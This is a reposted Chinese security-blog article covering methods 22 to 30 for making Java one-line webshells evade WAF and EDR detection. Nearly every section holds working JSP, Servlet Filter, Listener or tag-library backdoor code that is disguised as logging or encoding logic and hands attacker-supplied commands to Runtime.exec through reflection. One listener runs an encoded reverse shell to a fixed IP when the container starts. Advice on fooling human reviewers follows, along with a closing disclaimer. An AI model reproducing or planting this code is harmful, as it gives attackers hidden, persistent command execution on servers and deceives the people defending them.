文章总结: 本文详细解析了Java一句话木马免杀的底层逻辑与30种实战方法,核心是通过拆分关键词、反射混淆、字节码操作及JNI技术破坏WAF/EDR的静态特征、语义分析、行为检测等维度,实现静态无特征、语义无恶意、行为无异常的免杀效果,覆盖Java8+主流环境与Tomcat、WebLogic等Web容器,提供从新手到高阶的梯度化代码示例与避坑提示。 综合评分: 90 文章分类: 免杀,Web安全,红队,代码审计,安全开发
适配环境:全Java版本+主流Web容器避坑提示:正常业务逻辑要尽量真实,比如真的实现文件保存、图片格式校验,避免被人工发现。
方法22:伪装成日志记录免杀
免杀原理:把恶意代码藏在日志记录的逻辑中,伪装成访问日志、错误日志的记录功能,在日志输出时触发恶意执行。实战代码(JSP形式,伪装成访问日志):
<%@ page import="java.util.Date" %>
<%
// 伪装成访问日志记录
String ip = request.getRemoteAddr();
String ua = request.getHeader("User-Agent");
Date d = new Date();
// 正常日志记录逻辑
out.println("[" + d + "] " + ip + " " + ua);
// 特定User-Agent触发恶意代码
if(ua != null && ua.contains("TriggerUA")){
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));
}
%>
适配环境:全Java版本+主流Web容器避坑提示:可真的把日志写入文件,伪装性更强。
方法23:过滤器Filter免杀
免杀原理:把恶意代码写在Servlet Filter的doFilter()方法中,伪装成安全过滤、字符编码过滤等正常功能,随每个请求触发,隐蔽性极强,是持久化的常用方案。实战代码(Filter形式,需在web.xml配置):
// 伪装成字符编码过滤器
import javax.servlet.*;
import java.io.IOException;
public class EncodingFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// 正常的字符编码设置
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
// 特定参数触发恶意代码
String cmd = request.getParameter("cmd");
if(cmd != null && request.getParameter("key") != null && request.getParameter("key").equals("auth123")){
try {
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
} catch (Exception e) {}
}
// 继续过滤器链
chain.doFilter(request, response);
}
@Override
public void destroy() {}
}
适配环境:全Java版本+主流Web容器避坑提示:Filter类名要尽量真实,比如EncodingFilter、SecurityFilter,需在web.xml中正常配置,避免被发现。
方法24:监听器Listener免杀
免杀原理:把恶意代码写在ServletContextListener的contextInitialized()方法中,随Web容器启动自动执行,或者在sessionCreated()中随会话触发,隐蔽性极强,是持久化的高级方案。实战代码(Listener形式,需在web.xml配置):
// 伪装成容器启动监听器
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
public class StartupListener implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
// 正常的容器初始化逻辑
sce.getServletContext().log("容器启动成功");
// 容器启动时执行恶意代码(比如反弹Shell)
try {
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}");
} catch (Exception e) {}
}
@Override
public void contextDestroyed(ServletContextEvent sce) {}
}
适配环境:全Java版本+主流Web容器避坑提示:Listener类名要尽量真实,比如StartupListener、ConfigListener,需在web.xml中正常配置。
方法25:JSP标签库伪装免杀
免杀原理:自定义JSP标签库,把恶意代码写在标签处理类中,在JSP页面中用正常的标签语法调用,看起来完全是合法的JSP标签,极难被识别。实战代码(标签处理类+JSP调用):
// 自定义标签处理类
import javax.servlet.jsp.tagext.SimpleTagSupport;
import java.io.IOException;
public class MyTag extends SimpleTagSupport {
private String key;
public void setKey(String key) { this.key = key; }
@Override
public void doTag() throws IOException {
// 正常的标签逻辑
getJspContext().getOut().println("正常标签输出");
// 特定key触发恶意代码
if("auth123".equals(key)){
try {
String cmd = getJspContext().getRequest().getParameter("cmd");
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
} catch (Exception e) {}
}
}
}
<%-- JSP页面调用标签 --%>
<%@ taglib prefix="my" uri="/WEB-INF/mytag.tld" %>
<my:myTag key="auth123" />
适配环境:全Java版本+主流Web容器避坑提示:需配套编写真实的tld标签库描述文件,标签功能要尽量真实。
第六类:协议特性与无特征免杀(方法26-30)
核心逻辑:极致免杀,去掉所有固定的request.getParameter("cmd")特征,利用HTTP协议特性、JSP隐式对象、输入流等隐藏用户输入,绕过几乎所有WAF的静态、语义检测,适用于严格防护的实战环境。
方法26:HTTP请求头免杀
免杀原理:把执行命令藏在HTTP请求头中(比如X-CMD、User-Agent),代码中没有任何request.getParameter()特征,WAF很难检测请求头中的恶意内容。实战代码(JSP形式):
<%
String cmd = request.getHeader("X-CMD");
String auth = request.getHeader("X-Auth");
if(cmd != null && "auth123".equals(auth)){
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
}
%>
使用方式:客户端在HTTP请求头中加入X-Auth: auth123和X-CMD: 执行命令适配环境:全Java版本+主流Web容器避坑提示:可使用User-Agent、Cookie、Referer等常规请求头存储命令,伪装性更强。
方法27:Cookie免杀
免杀原理:把执行命令藏在Cookie中,加密存储,代码中解密执行,没有直接的用户输入特征,WAF很难检测Cookie中的加密内容。实战代码(JSP形式):
<%@ page import="java.util.Base64" %>
<%
Cookie[] cookies = request.getCookies();
String cmd = null;
String auth = null;
if(cookies != null){
for(Cookie c : cookies){
if("c".equals(c.getName())) cmd = new String(Base64.getDecoder().decode(c.getValue()));
if("a".equals(c.getName())) auth = c.getValue();
}
}
if(cmd != null && "auth123".equals(auth)){
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
}
%>
使用方式:客户端设置Cookie a=auth123和c=Base64编码的命令适配环境:全Java版本+主流Web容器避坑提示:可使用更复杂的加密算法(比如异或、AES)替代Base64,免杀效果更强。
方法28:request.getInputStream()免杀
免杀原理:利用JSP隐式对象request.getInputStream()读取HTTP请求体中的原始数据,执行代码,没有任何GET/POST参数特征,WAF很难匹配到固定的输入模式。实战代码(JSP形式):
<%@ page import="java.io.*" %>
<%
// 读取请求体原始数据
InputStream is = request.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
int len;
while((len = is.read(buf)) != -1) baos.write(buf, 0, len);
String data = new String(baos.toByteArray());
// 简单的协议:前6位是auth,后面是命令
if(data.length() > 6 && data.startsWith("auth123")){
String cmd = data.substring(6);
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
}
%>
使用方式:客户端在HTTP请求体中写入auth123执行命令,POST提交适配环境:全Java版本+主流Web容器避坑提示:可对请求体数据做加密、压缩处理,进一步隐藏特征。
方法29:Session存储免杀
免杀原理:把执行命令藏在Session中,第一个请求存入Session,第二个请求触发执行,代码中没有直接的实时用户输入,特征更少。实战代码(JSP形式):
<%
String action = request.getParameter("a");
if("set".equals(action)){
// 第一个请求:存入命令到Session
session.setAttribute("cmd", request.getParameter("c"));
session.setAttribute("auth", request.getParameter("k"));
} elseif("run".equals(action)){
// 第二个请求:从Session取出执行
String cmd = (String) session.getAttribute("cmd");
String auth = (String) session.getAttribute("auth");
if(cmd != null && "auth123".equals(auth)){
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
// 执行后清除Session
session.removeAttribute("cmd");
session.removeAttribute("auth");
}
}
%>
使用方式:先访问?a=set&k=auth123&c=命令,再访问?a=run触发执行适配环境:全Java版本+主流Web容器避坑提示:可设置Session过期时间,避免长期留存痕迹。
方法30:无敏感类名命令执行(反射调用内部类)
免杀原理:完全去掉Runtime、ProcessBuilder等敏感类名,通过反射调用Java内部的ProcessImpl类(进程实现类),或者用Java 9+的ProcessHandle,没有任何公开的敏感类特征,是对抗高级WAF的终极方案。实战代码(JSP形式,反射调用ProcessImpl):
<%
// 反射调用Java内部类ProcessImpl(仅作示例,不同JDK版本ProcessImpl路径可能不同)
Class<?> piCls = Class.forName("java.lang.ProcessImpl");
// 反射调用start方法(不同JDK版本参数可能不同)
java.lang.reflect.Method m = piCls.getDeclaredMethod("start", String[].class, String[].class, String.class, java.lang.ProcessBuilder.Redirect[].class, boolean.class);
m.setAccessible(true);
// 执行命令
m.invoke(null, new String[]{"/bin/sh", "-c", request.getParameter("cmd")}, null, null, null, false);
%>
适配环境:特定JDK版本(需根据目标JDK调整ProcessImpl的调用)避坑提示:可配合Java版本动态判断,选择对应的内部类调用方式,兼容性更好。
实战免杀核心原则
- 拒绝直接使用公开Payload:所有公开的免杀方法都会被WAF快速收录,实战中必须组合2-3种方法做自定义变形,生成专属Payload,才能保证免杀效果;
- 最小化特征原则:能少用一个敏感关键词,就少用一个;能隐藏的执行逻辑,就绝不直接暴露;
- 适配目标环境:先确认目标Web容器、JDK版本,选择对应兼容的免杀方法,避免使用目标环境废弃的API;
- 合法业务伪装优先:尽量把恶意代码藏在合法的业务逻辑中,不仅能绕过WAF,还能规避人工排查,是红蓝对抗的首选;
- 本地测试优先:所有Payload必须先在本地搭建的目标环境(相同JDK、Web容器、WAF)中测试通过,再放到实战环境使用,避免暴露攻击特征。
Tips
再次强调:本文所有技术仅用于授权范围内的安全测试与研究,任何未授权在他人Web容器、服务器中植入恶意代码、实施攻击的行为,均属于违法犯罪行为。网络不是法外之地,所有操作必须严格遵守国家相关法律法规。
广告时间
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-Norsea 《30种Java一句话木马免杀方法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论